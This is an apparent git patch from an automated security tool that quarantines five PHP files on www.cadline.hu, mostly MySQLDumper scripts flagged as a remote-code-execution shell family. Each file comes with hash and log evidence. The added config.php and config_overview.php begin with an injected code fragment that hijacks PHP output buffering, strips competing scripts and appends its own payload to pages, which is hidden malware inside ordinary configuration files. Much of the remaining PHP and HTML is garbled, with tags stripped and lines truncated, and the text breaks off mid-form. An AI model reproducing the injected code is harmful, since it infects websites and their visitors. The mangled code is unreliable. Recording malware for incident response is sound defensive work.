From e792fd31720fa09b7345ebc3127c32cfc052daa6 Mon Sep 17 00:00:00 2001 From: imrcli-remediator Date: Sat, 18 Jul 2026 18:04:24 +0200 Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Drce-shell=20(5=20f=C3=A1?= =?UTF-8?q?jl)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit vhost: www.cadline.hu rel_path: public/mysqldumper/config.php result: quarantined evidence_sha256: b78d97d93847db944861d7d9178ce59f94780b902975e2fb62246b09e29674ac timestamp: 20260718T160424Z finding_ref: 5642 vhost: www.cadline.hu rel_path: public/mysqldumper/config_overview.php result: quarantined evidence_sha256: 5281ec62fce5212b925be24410259557fa1b192ff7f297fad1e323efb74aedc2 timestamp: 20260718T160424Z finding_ref: 5647 vhost: www.cadline.hu rel_path: public/mysqldumper/index.php result: quarantined evidence_sha256: 125d639b848bd60aa326a92a44590f77355b017381188cc8a28d3b504814551e timestamp: 20260718T160424Z finding_ref: 5646 vhost: www.cadline.hu rel_path: public/mysqldumper/refresh_dblist.php result: quarantined evidence_sha256: 25426dafee9825ff6aa8bf9b42b8a20f4f72c5d428ebe553e1f412dec99c62f4 timestamp: 20260718T160424Z finding_ref: 5645 vhost: www.cadline.hu rel_path: public/test/index.php result: quarantined evidence_sha256: abf14960a1ac99b2dcdafb285d9d09786f54fbfc0e7d822144501dfc69f381ca timestamp: 20260718T160424Z finding_ref: 5572 --- .../www/public/mysqldumper/config.php | 152 ++++ .../mysqldumper/config.php.evidence.json | 15 + .../public/mysqldumper/config_overview.php | 771 ++++++++++++++++++ .../config_overview.php.evidence.json | 15 + .../www/public/mysqldumper/index.php | 41 + .../mysqldumper/index.php.evidence.json | 15 + .../www/public/mysqldumper/refresh_dblist.php | 22 + .../refresh_dblist.php.evidence.json | 15 + .../cadline.hu/www/public/test/index.php | 52 ++ .../www/public/test/index.php.evidence.json | 15 + 10 files changed, 1113 insertions(+) create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/config.php create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/config.php.evidence.json create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php.evidence.json create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/index.php create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/index.php.evidence.json create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php create mode 100644 var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php.evidence.json create mode 100644 var/www/hosting/cadline.hu/www/public/test/index.php create mode 100644 var/www/hosting/cadline.hu/www/public/test/index.php.evidence.json diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php b/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php new file mode 100644 index 0000000..aaf4f0e --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php @@ -0,0 +1,152 @@ +#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('##','',$s);if(stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i1000 +$config['processlist_refresh']=2000; + +//Disable all .htaccess-Functions with value 1 +$config['no_htaccess']=0; + +$config['empty_db_before_restore']=0; +$config['optimize_tables_beforedump']=1; +$config['stop_with_error']=1; + +// For sending a mail after backup set send_mail to 1, otherless set to 0 +$config['send_mail']=0; +// Attach the backup 0=no 1=yes +$config['send_mail_dump']=0; +// set the recieve adress for the mail +$config['email_recipient']=""; +// set the sender adress (the script) +$config['email_sender']=""; + +//max. Size of Email-Attach, here 3 MB +$config['email_maxsize1']=3; +$config['email_maxsize2']=2; + + +// For FTP-Transfer of Backupfiles set ftp_transfer to 1 +$config['ftp_transfer']=0; + +// FTP Server Configuration for Transfer +$config['ftp_connectionindex']=0; +$config['ftp_server'][0]=""; // Adress of FTP-Server +$config['ftp_port'][0]="21"; // Port +$config['ftp_user'][0]=""; // Username +$config['ftp_pass'][0]=""; // Password +$config['ftp_dir'][0]=""; // Upload-Directory + +$config['ftp_server'][1]=""; // Adress of FTP-Server +$config['ftp_port'][1]="21"; // Port +$config['ftp_user'][1]=""; // Username +$config['ftp_pass'][1]=""; // Password +$config['ftp_dir'][1]=""; // Upload-Directory + +$config['ftp_server'][2]=""; // Adress of FTP-Server +$config['ftp_port'][2]="21"; // Port +$config['ftp_user'][2]=""; // Username +$config['ftp_pass'][2]=""; // Password +$config['ftp_dir'][2]=""; // Upload-Directory + +$config['ftp_timeout']=30; +$config['ftp_useSSL']=0; +$config['ftp_mode']=0; + +//Multipart 0=off 1=on +$config['multi_part']=0; +$config['multipartgroesse1']=1; +$config['multipartgroesse2']=2; +$config['multipart_groesse']=0; + +//Auto-Delete 0=off 1=on +$config['auto_delete']=0; +$config['del_files_after_days']=0; +$config['max_backup_files']=3; +$config['max_backup_files_each']=0; + + +//configuration file +$config['cron_configurationfile']="mysqldumper.conf.php"; +//path to perl, for windows use e.g. C:perlbinperl.exe +$config['cron_perlpath']="/usr/bin/perl"; +//mailer use sendmail(1) or SMTP(0) +$config['cron_use_sendmail']=1; +//path to sendmail +$config['cron_sendmail']="/usr/lib/sendmail -t -oi -oem"; +//adress of smtp-server +$config['cron_smtp']="localhost"; +//smtp-port +$config['cron_smtp_port']=25; +$config['cron_samedb']=0; +$config['cron_timelimit']=360; +$config['cron_extender']=0; +$config['cron_mail']=0; +$config['cron_mail_dump']=0; +$config['cron_ftp']=0; +$config['cron_compression']=1; +$config['cron_printout']=1; +$config['cron_completelog']=1; +$config['multi_dump']=0; + +$config['logcompression'] = "1"; +$config['log_maxsize1'] = "1"; +$config['log_maxsize2'] = "2"; +$config['log_maxsize'] = "1048576"; + +?> \ No newline at end of file diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php.evidence.json b/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php.evidence.json new file mode 100644 index 0000000..de077a4 --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "5642", + "log_excerpt": "[quarantine] www.cadline.hu:public/mysqldumper/config.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/mysqldumper/config.php)", + "original_sha256": "b78d97d93847db944861d7d9178ce59f94780b902975e2fb62246b09e29674ac", + "original_stat": { + "gid": 30037, + "mtime": 1242504764, + "size": 6964, + "uid": 11669 + }, + "rel_path": "public/mysqldumper/config.php", + "result": "quarantined", + "timestamp": "20260718T160424Z", + "vhost": "www.cadline.hu" +} diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php b/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php new file mode 100644 index 0000000..6d6752d --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php @@ -0,0 +1,771 @@ +#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('##','',$s);if(stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i1 && substr($config['ftp_dir'][$i],-1)!="/")) $config['ftp_dir'][$i].="/"; + } +} + +$showVP=false; +$oldtheme=$config['theme']; +$oldscposition=$config['interface_server_caption_position']; +$checkFTP=Array(" 

 
 "," 

 
 "," 

 
 "); +if(isset($_POST['testFTP0'])) { + $checkFTP[0]='
'.$lang['testconnection'].' FTP-Connection 1

'.TesteFTP($_POST['ftp_server0'],$_POST['ftp_port0'],$_POST['ftp_user0'],$_POST['ftp_pass0'],$_POST['ftp_dir0']).'
'; + $ftptested=0; +} +if(isset($_POST['testFTP1'])) { + $checkFTP[1]='
'.$lang['testconnection'].' FTP-Connection 2

'.TesteFTP($_POST['ftp_server1'],$_POST['ftp_port1'],$_POST['ftp_user1'],$_POST['ftp_pass1'],$_POST['ftp_dir1']).'
'; + $ftptested=1; +} +if(isset($_POST['testFTP2'])) { + $checkFTP[2]='
'.$lang['testconnection'].' FTP-Connection 3

'.TesteFTP($_POST['ftp_server2'],$_POST['ftp_port2'],$_POST['ftp_user2'],$_POST['ftp_pass2'],$_POST['ftp_dir2']).'
'; + $ftptested=2; +} + +if($ftptested>-1) { + $ftp_server[$ftptested]=$_POST['ftp_server'.$ftptested]; + $ftp_port[$ftptested]=$_POST['ftp_port'.$ftptested]; + $ftp_user[$ftptested]=$_POST['ftp_user'.$ftptested]; + $ftp_pass[$ftptested]=$_POST['ftp_pass'.$ftptested]; + $ftp_dir[$ftptested]=stripslashes($_POST['ftp_dir'.$ftptested]); + if($ftp_dir[$ftptested]=="" || (strlen($ftp_dir[$ftptested])>1 && substr($ftp_dir[$ftptested],-1)!="/")) $ftp_dir[$ftptested].="/"; +} + +echo MSDHeader(); + +if (isset($_POST['load'])) +{ + $msg=SetDefault(true); + $msg=nl2br($msg)."
". $lang['load_success']."
"; + echo ''; +} + +if (isset($_POST['save'])) +{ + //Parameter auslesen + + $config['multi_dump']=(isset($_POST['MultiDBDump'])) ? $_POST['MultiDBDump'] : 0; + $databases['db_actual_cronpraefix']=$_POST['dbcronpraefix']; + $config['compression']=$_POST['compression']; + $config['language']=$_POST['language']; + $config['interface_server_caption']=$_POST['server_caption']; + $config['interface_server_caption_position']=$_POST['server_caption_position']; + $config['interface_sqlboxsize']=$_POST['sqlboxsize']; + $config['theme']=$_POST['theme']; + $config['interface_table_compact']=(isset($_POST['interface_table_compact'])) ? $_POST['interface_table_compact'] : 1; + + $config['email_recipient']=$_POST['email0']; + $config['email_sender']=$_POST['email1']; + $config['send_mail']=$_POST['send_mail']; + $config['send_mail_dump']=$_POST['send_mail_dump']; + + $config['email_maxsize1']=$_POST['email_maxsize1']; if($config['email_maxsize1']=="") $config['email_maxsize1']=0; + $config['email_maxsize2']=$_POST['email_maxsize2']; + $config['email_maxsize']=$config['email_maxsize1']*(($config['email_maxsize2']==1) ? 1024 : 1024*1024); + + $config['backup_complete_inserts']=(isset($_POST['backup_complete_inserts'])) ? 1 : 0; + $config['backup_extended_inserts']=(isset($_POST['backup_extended_inserts'])) ? 1 : 0; + $config['backup_delayed_inserts']=(isset($_POST['backup_delayed_inserts'])) ? 1 : 0; + $config['backup_ignore_inserts']=(isset($_POST['backup_ignore_inserts'])) ? 1 : 0; + $config['backup_lock_tables']=(isset($_POST['backup_lock_tables'])) ? 1 : 0; + $config['backup_downgrade']=(isset($_POST['backup_downgrade'])) ? 1 : 0; + + $config['memory_limit']=$_POST['memory_limit']; if($config['memory_limit']=="") $config['memory_limit']=0; + $config['minspeed']=$_POST['minspeed']; if($config['minspeed']<50) $config['minspeed']=50; + $config['maxspeed']=$_POST['maxspeed']; + $config['stop_with_error']=$_POST['stop_with_error']; + + $config['multi_part']=$_POST['multi_part']; + $config['multipartgroesse1']=$_POST['multipartgroesse1']; + $config['multipartgroesse2']=$_POST['multipartgroesse2']; + if($config['multipartgroesse1']<100 && $config['multipartgroesse2']==1)$config['multipartgroesse1']=100; + + $oldlogcompression=$config['logcompression']; + $config['logcompression']=(isset($_POST['logcompression']) && $_POST['logcompression']==1) ? 1 : 0; + $config['log_maxsize1']=$_POST['log_maxsize1']; if($config['log_maxsize1']=="") $config['log_maxsize1']=0; + $config['log_maxsize2']=$_POST['log_maxsize2']; + $config['log_maxsize']=$config['log_maxsize1']*(($config['log_maxsize2']==1) ? 1024 : 1024*1024); + + $config['auto_delete']=$_POST['auto_delete']; + $config['del_files_after_days']=$_POST['del_files_after_days']; + $config['max_backup_files']=$_POST['max_backup_files']; + $config['max_backup_files_each']=$_POST['max_backup_files_each']; + + + $config['empty_db_before_restore']=$_POST['empty_db_before_restore']; + $config['optimize_tables_beforedump']=$_POST['optimize_tables']; + $config['cron_samedb']=$_POST['cron_samedb']; + + + $config['cron_extender']=$_POST['cron_extender']; + // cron_select_savepath/ + if (!isset($_POST['cron_select_savepath'])) $_POST['cron_select_savepath']='mysqldumper'; + if(isset($_POST['cron_savepath_new']) && !empty($_POST['cron_savepath_new'])) + $config['cron_configurationfile']=$_POST['cron_savepath_new'].".conf.php"; + else + $config['cron_configurationfile']=$_POST['cron_select_savepath'].".conf.php"; + + + $config['cron_execution_path']=$_POST['cron_execution_path']; + if($config['cron_execution_path']=="")$config['cron_execution_path']="msd_cron/"; + if(strlen($config['cron_execution_path'])>1 && substr($config['cron_execution_path'],-1)!="/") $config['cron_execution_path'].="/"; + $config['cron_mail']=$_POST['cron_mail']; + $config['cron_mail_dump']=$_POST['cron_mail_dump']; + + $config['cron_use_sendmail']=$_POST['cron_use_sendmail']; + $config['cron_sendmail']=$_POST['cron_sendmail']; + $config['cron_smtp']=$_POST['cron_smpt']; + + $config['cron_printout']=$_POST['cron_printout']; + $config['cron_completelog']=$_POST['cron_completelog']; + $config['cron_ftp']=$_POST['cron_ftp']; + $config['cron_compression']=$_POST['cron_compression']; + $config['cron_comletelog']=$_POST['cron_completelog']; + + $databases['multi']=Array(); + $databases['multi_praefix']=Array(); + $databases['multi_commandbeforedump']=Array(); + $databases['multi_commandafterdump']=Array(); + if (isset($databases['Name'][0]) && $databases['Name'][0]>'') + { + for($i=0;$i0)?implode(";",$databases['multi']) : ""; + $databases['multisetting_praefix']=(count($databases['multi'])>0)?implode(";",$databases['multi_praefix']) : ""; + $databases['multisetting_commandbeforedump']=(count($databases['multi'])>0)?implode(";",$databases['multi_commandbeforedump']) : ""; + $databases['multisetting_commandafterdump']=(count($databases['multi'])>0)?implode(";",$databases['multi_commandafterdump']) : ""; + + $databases['db_actual_cronindex']=$_POST['cron_dbindex']; + if($config['cron_samedb']==0){ + $databases['db_actual_cronindex']=$databases['db_selected_index']; + + } elseif($databases['db_actual_cronindex']=="-2") { + $cron_save_all_dbs=1; + $datenbanken=count($databases['Name']); + $cron_db_array=str_replace(";","|",$databases['multisetting']); + $cron_dbpraefix_array=str_replace(";","|",$databases['multisetting_praefix']); + $cron_db_cbd_array=str_replace(";","|",$databases['multisetting_commandbeforedump']); + $cron_db_cad_array=str_replace(";","|",$databases['multisetting_commandafterdump']); + + } elseif ($databases['db_actual_cronindex']=="-3") { + $cron_save_all_dbs=1; + $cron_db_array=implode("|",$databases['Name']); + $cron_dbpraefix_array=implode("|",$databases['praefix']); + $cron_db_cbd_array=implode("|",$databases['command_before_dump']); + $cron_db_cad_array=implode("|",$databases['command_after_dump']); + + } + + $config['ftp_transfer']=$_POST['ftp_transfer']; + $config['ftp_connectionindex']=$_POST['ftp_transferconn']; + $config['ftp_timeout']=$_POST['ftp_timeout']; + $config['ftp_useSSL']=isset($_POST['ftp_useSSL']) ? $_POST['ftp_useSSL'] : 0; + $config['ftp_mode']=isset($_POST['ftp_mode']) ? 1 : 0; + + for($i=0;$i<3;$i++) { + $checkFTP[$i]=""; + $config['ftp_server'][$i]=$_POST['ftp_server'.$i]; + $config['ftp_port'][$i]=$_POST['ftp_port'.$i]; + $config['ftp_user'][$i]=$_POST['ftp_user'.$i]; + $config['ftp_pass'][$i]=$_POST['ftp_pass'.$i]; + $config['ftp_dir'][$i]=stripslashes($_POST['ftp_dir'.$i]); + if($config['ftp_port'][$i]+0==0) $config['ftp_port'][$i]=21; + if($config['ftp_dir'][$i]=="" || (strlen($config['ftp_dir'][$i])>1 && substr($config['ftp_dir'][$i],-1)!="/")) $config['ftp_dir'][$i].="/"; + } + + $config['bb_width']=$_POST['bb_width']; + $config['bb_textcolor']=$_POST['bb_textcolor']; + $config['sql_limit']=$_POST['sql_limit']; + + $config['connect_utf8']=isset($_POST['connect_utf8']) ?1:0; + if($config['dbhost']!=$_POST['dbhost'] || + $config['dbuser']!=$_POST['dbuser'] || + $config['dbpass']!=$_POST['dbpass'] || + $config['dbport']!=$_POST['dbport'] || + $config['dbsocket']!=$_POST['dbsocket']) { + //neue Verbindungsparameter + + $show_VP=true; + + //alte Parameter sichern + $old['dbhost']=$config['dbhost']; + $old['dbuser']=$config['dbuser']; + $old['dbpass']=$config['dbpass']; + $old['dbport']=$config['dbport']; + $old['dbsocket']=$config['dbsocket']; + + //neu setzen + $config['dbhost']=$_POST['dbhost']; + $config['dbuser']=$_POST['dbuser']; + $config['dbpass']=$_POST['dbpass']; + $config['dbport']=$_POST['dbport']; + $config['dbsocket']=$_POST['dbsocket']; + if(MSD_mysql_connect()) + { + // neue Vernindungsdaten wurden akzeptiert -> manuelle DB-Liste von anderem User löschen + if (file_exists('./'.$config['files']['dbs_manual'])) @unlink('./'.$config['files']['dbs_manual']); + unset($databases['Name']); + SetDefault(); + $msg.= ''; + } + else + { + //alte Werte holen + $config['dbhost']=$old['dbhost']; + $config['dbuser']=$old['dbuser']; + $config['dbpass']=$old['dbpass']; + $config['dbport']=$old['dbport']; + $config['dbsocket']=$old['dbsocket']; + $msg.='

'.$lang['wrong_connectionpars'].'

'; + } + + } + + // Manuelles hinzufügen einer Datenbank + if ($_POST['add_db_manual']>'') + { + $to_add=trim($_POST['add_db_manual']); + $found=false; + // Prüfen, ob die DB bereits in der Liste vorhanden ist + if (isset($databases['Name'][0])) + { + foreach ($databases['Name'] as $existing_db) + { + if ($existing_db==$to_add) $found=true; + } + } + if ($found) $add_db_message=sprintf($lang['db_in_list'],$to_add); + else + { + if(MSD_mysql_connect()) + { + $res=mysql_selectdb($to_add,$config['dbconnection']); + if (!$res===false) + { + $dbs_manual=array(); + if (file_exists('./'.$config['files']['dbs_manual'])) $dbs_manual=file('./'.$config['files']['dbs_manual']); + if (!in_array($to_add,$dbs_manual)) $dbs_manual[]=$to_add; + $file_handle=fopen('./'.$config['files']['dbs_manual'],'a'); + if ($file_handle) + { + foreach ($dbs_manual as $f) { fwrite($file_handle,$f); } + fclose($file_handle); + @chmod('./'.$config['files']['dbs_manual'],0777); + //Menü aktualisieren, damit die DB in dr Selectliste erscheint + echo ''; + } + else $add_db_message=sprintf($lang['db_manual_file_error'],$to_add); + } + else $add_db_message=sprintf($lang['db_manual_error'],$to_add); + $showVP=true; + } + } + } + + // und wegschreiben + if (WriteParams(0)==true) + { + //neue Sprache? Dann Menü links auch aktualisieren + if( $_POST['lang_old']!=$config['language'] + || $_POST['scaption_old']!=$config['interface_server_caption'] + || $oldtheme!=$config['theme'] + || $oldscposition!=$config['interface_server_caption_position']) + { + $msg.= ''; + } + //Parameter laden + include($config['files']['parameter']); + if ($config['logcompression']!=$oldlogcompression) SwitchLogfileFormat(); + $msg.= '

'.$lang['save_success'].'

'; + } else $msg.= '

'.$lang['save_error'].'

'; +} + +ReadSQL(); + +?> + +'.$nl; +$aus['formstart'].='
'; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; +$aus['formstart'].='
'.$nl; + +$aus['formstart'].='


'.$nl; +$aus['formstart'].=''.$nl; +$aus['formstart'].=''.$nl; +$aus['formstart'].='
'.$msg.$nl; + +// Zugangsdaten +$aus['db']='
'.$lang['connectionpars'].''.$nl.$nl; +$aus['db'].='
'.$lang['db_backuppars'].''; + +$aus['db'].=''; + +//Wenn Datenbanken vorhanden sind +if (isset($databases['Name'][0]) && $databases['Name'][0]>'') +{ + if(count($databases['Name'])==1) + { + $databases['db_actual']=$databases['Name'][0]; + $aus['db'].=''; + $aus['db'].=''; + $aus['db'].=''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + } + else + { + $aus['db'].=''; + $aus['db'].=''; +$aus['db'].='
'.Help($lang['help_db'],"conf1").$lang['list_db'].''.$databases['db_actual'].'
'.Help($lang['help_praefix'],"conf2").$lang['praefix'].'
'.Help($lang['help_commands'],"").'Command before Dump'.ComboCommandDump(0,$databases['db_selected_index']).'
'.Help($lang['help_commands'],"").'Command after Dump'.ComboCommandDump(1,$databases['db_selected_index']).''.$lang['sql_befehle'].'
'.Help($lang['help_db'],"conf1").$lang['list_db'].''.$lang['activate_multidump'].'
'; + $aus['db'].=''; + $aus['db'].=''; + + //erst die aktuelle DB + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + + $dbacombo=$dbbcombo="";$j=0; + for($i=0;$i'; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + $aus['db'].= ''; + } + } + } +} +else $aus['db'].=''; +$aus['db'].='
'.$lang['db'].'Multidump
('.$lang['all'].' '.$lang['none'].')		'.Help($lang['help_praefix'],"conf2").$lang['praefix'].''.Help($lang['help_commands'],"",11).'Command before Dump'.Help($lang['help_commands'],"",11).'Command after Dump'.$lang['sql_befehle'].'
'.$databases['db_actual'].''.ComboCommandDump(0,$databases['db_selected_index']).''.ComboCommandDump(1,$databases['db_selected_index']).''.$lang['sql_befehle'].'
'.$databases['Name'][$i].''.ComboCommandDump(0,$i).''.ComboCommandDump(1,$i).''.$lang['sql_befehle'].'
'.$lang['no_db_found'].'
'; + +// sonstige Einstellungen +$aus['global1']='
'.$lang['general'].''; + +$aus['global1'].=''; +$aus['global1'].=''; + +$aus['global1'].=''; +$aus['global1'].=''; + +$aus['global1'].=''; +$aus['global1'].=''; + +$aus['global1'].='
'.Help("","").'Logfiles: '.$lang['compressed'].'
'; +$aus['global1'].=''.$lang['maxsize'].':    '; +$aus['global1'].='
'.Help($lang['help_memorylimit'],"").$lang['memory_limit'].':  '; +$aus['global1'].=' Bytes   automatisch ermitteln'; +$aus['global1'].='
'.Help($lang['help_speed'],"").$lang['speed'].':  '.$lang['to'].' 
'.$lang['dump'].''; + +$aus['global1'].=''; +$aus['global1'].=''; +//Multipart-Backup --> +$aus['global1'].=''; +$aus['global1'].=''; +$aus['global1'].=''; +$aus['global1'].=''; +$aus['global1'].=''; + +$aus['global1'].=''; + + +$aus['global1'].='
'.Help($lang['help_zip'],"conf3").$lang['gzip'].': '.$lang['activated']; +$aus['global1'].=''.$lang['not_activated'].'
'.Help($lang['help_multipart'],"").$lang['multi_part'].': '; +$aus['global1'].=''.$lang['yes']; +$aus['global1'].=''.$lang['no']; +$aus['global1'].='
'.Help($lang['help_multipartgroesse'],"").$lang['multi_part_groesse'].':  
'; +$aus['global1'].='  '; +$aus['global1'].='
'.Help($lang['help_optimize'],"").$lang['optimize'].': '.$lang['activated']; +$aus['global1'].=''.$lang['not_activated'].'
'.Help("","").$lang['backup_format'].': '.$lang['inserts_complete'].'
'; +$aus['global1'].=''.$lang['inserts_extended'].'
'; +$aus['global1'].=''.$lang['inserts_delayed'].'
'; +$aus['global1'].=''.$lang['inserts_ignore'].'
'; +$aus['global1'].=''.$lang['lock_tables'].'
'; +$aus['global1'].=''.$lang['downgrade'].'
'.$lang['restore'].''; +$aus['global1'].=''; + + +$aus['global1'].='
'.Help($lang['help_empty_db_before_restore'],"conf4").$lang['empty_db_before_restore'].': '; +$aus['global1'].=''.$lang['yes']; +$aus['global1'].=''.$lang['no']; +$aus['global1'].='
'.Help("","").$lang['errorhandling_restore'].''; +$aus['global1'].=''.$lang['ehrestore_continue'].'
'; +$aus['global1'].=''.$lang['ehrestore_stop']; +$aus['global1'].='
'; + +//Interface --> +$aus['global3']='
'.$lang['config_interface'].''; +$aus['global3'].=''; +$aus['global3'].=''; + +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; + +$aus['global3'].='
'.Help($lang['help_lang'],"conf11").$lang['language'].':   '.$lang['download_languages'].'
'.Help($lang['help_servercaption'],"").$lang['servercaption'].':'.$lang['activated'].'   '; +$aus['global3'].=''.$lang['in_mainframe'].'  '.$lang['in_leftframe'].''; +$aus['global3'].='
'.Help("","").'Theme  '.$lang['download_styles'].'
'.$lang['sql_browser'].''; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].=''; + +$aus['global3'].='
'.Help("","").$lang['sqlboxheight'].':  pixel
'.Help("","").$lang['sqllimit'].':  
'.Help("","").$lang['bbparams'].': '; +$aus['global3'].=''; +$aus['global3'].=''; +$aus['global3'].='
'.$lang['width'].': pixel
'.$lang['bbtextcolor'].': 
'; +$aus['global3'].='
'.Help("","").'SQL-Grid: normal   '; +$aus['global3'].='compact
'; + +//automatisches Löschen--> +$aus['global2']='
'.$lang['config_autodelete'].''; +$aus['global2'].=''; +$aus['global2'].=''; +$aus['global2'].=''; +$aus['global2'].=''; +$aus['global2'].='
'.Help($lang['help_ad1'],"conf8").$lang['autodelete'].': '.$lang['activated']; +$aus['global2'].=''.$lang['not_activated']; +$aus['global2'].='
'.Help($lang['help_ad2'],"conf9").$lang['age_of_files'].': 
'.Help($lang['help_ad3'],"conf10").$lang['number_of_files_form'].':  '; +$aus['global2'].=''.$lang['max_backup_files_each1'].' '; +$aus['global2'].=''.$lang['max_backup_files_each2']; +$aus['global2'].='
'; + + +//Email--> +$aus['transfer1']='
'.$lang['config_email'].''; +$aus['transfer1'].=''; +$aus['transfer1'].=''; +$aus['transfer1'].=''; +$aus['transfer1'].=''; +$aus['transfer1'].=''; +$aus['transfer1'].='
'.Help($lang['help_mail1'],"conf5").$lang['send_mail_form'].': '.$lang['yes']; +$aus['transfer1'].=''.$lang['no']; +$aus['transfer1'].='
'.Help($lang['help_mail2'],"conf6").$lang['email_adress'].': 
'.Help($lang['help_mail3'],"conf7").$lang['email_subject'].': 
'.Help($lang['help_mail5'],"").$lang['send_mail_dump'].': '; +$aus['transfer1'].=''.$lang['yes']; +$aus['transfer1'].=''.$lang['no']; +$aus['transfer1'].='
'.Help($lang['help_mail4'],"").$lang['email_maxsize'].': '; +$aus['transfer1'].='  '; +$aus['transfer1'].='
'.Help($lang['help_cronmailprg'],"").$lang['cron_mailprg'].': '; +$aus['transfer1'].=''; +$aus['transfer1'].='
sendmail
SMPT
 SMTP-Port: '.$config['cron_smtp_port'].'
'; + +//FTP--> +$aus['transfer2']='
'.$lang['config_ftp'].''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; + +$aus['transfer2'].=''; +$aus['transfer2'].=''; + +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].='
'.Help($lang['help_ftptransfer'],"").$lang['ftp_transfer'].': '.$lang['activated']; +$aus['transfer2'].=' '.$lang['not_activated'].'
'.Help($lang['useconnection'].":","").$lang['useconnection'].': '; +$aus['transfer2'].=' FTP 1  '; +$aus['transfer2'].=' FTP 2  '; +$aus['transfer2'].=' FTP 3
'.Help($lang['help_ftptimeout'],"").$lang['ftp_timeout'].':  sec
'.Help($lang['help_ftp_mode'],"").$lang['ftp_choose_mode'].': '; +$aus['transfer2'].=$lang['ftp_passive'].'
'; + +$aus['transfer2'].='
'.Help($lang['help_ftpssl'],"").$lang['ftp_ssl'].': '; +$aus['transfer2'].=''.$lang['ftp_useSSL'].'
'; + +//1 +$aus['transfer2'].='
FTP-Connection 1

'.$checkFTP[0].'		'; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].='
'.Help($lang['help_ftpserver'],"conf14",12).$lang['ftp_server'].': 
'.Help($lang['help_ftpport'],"conf15",12).$lang['ftp_port'].': 
'.Help($lang['help_ftpuser'],"conf16",12).$lang['ftp_user'].': 
'.Help($lang['help_ftppass'],"conf17",12).$lang['ftp_pass'].': 
'.Help($lang['help_ftpdir'],"conf18",12).$lang['ftp_dir'].': 
'; +//2 +$aus['transfer2'].='
FTP-Connection 2

'.$checkFTP[1].'		'; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].='
'.Help($lang['help_ftpserver'],"conf14",12).$lang['ftp_server'].': 
'.Help($lang['help_ftpport'],"conf15",12).$lang['ftp_port'].': 
'.Help($lang['help_ftpuser'],"conf16",12).$lang['ftp_user'].': 
